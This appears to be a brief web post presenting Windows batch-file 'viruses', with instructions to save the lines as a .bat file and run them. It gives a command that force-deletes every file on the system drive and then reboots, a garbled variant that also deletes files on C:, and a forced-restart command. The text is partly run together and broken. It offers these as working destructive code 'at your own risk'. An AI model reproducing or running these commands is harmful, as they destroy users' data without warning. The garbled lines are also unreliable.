Making procedure is same for all viruses. Write them in a text file and save them "anyname.bat"
This virus will delete everything of a drive.
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
This virus can crush a computer without warning.
@Echo offNumber 3.
Del C:\ *.* y
This virus is not harmful. It will only restart a PC
@echo off shutdown -r -f -t 00I am saying again that I am just sharing my knowledge. Use these viruses on your own risk.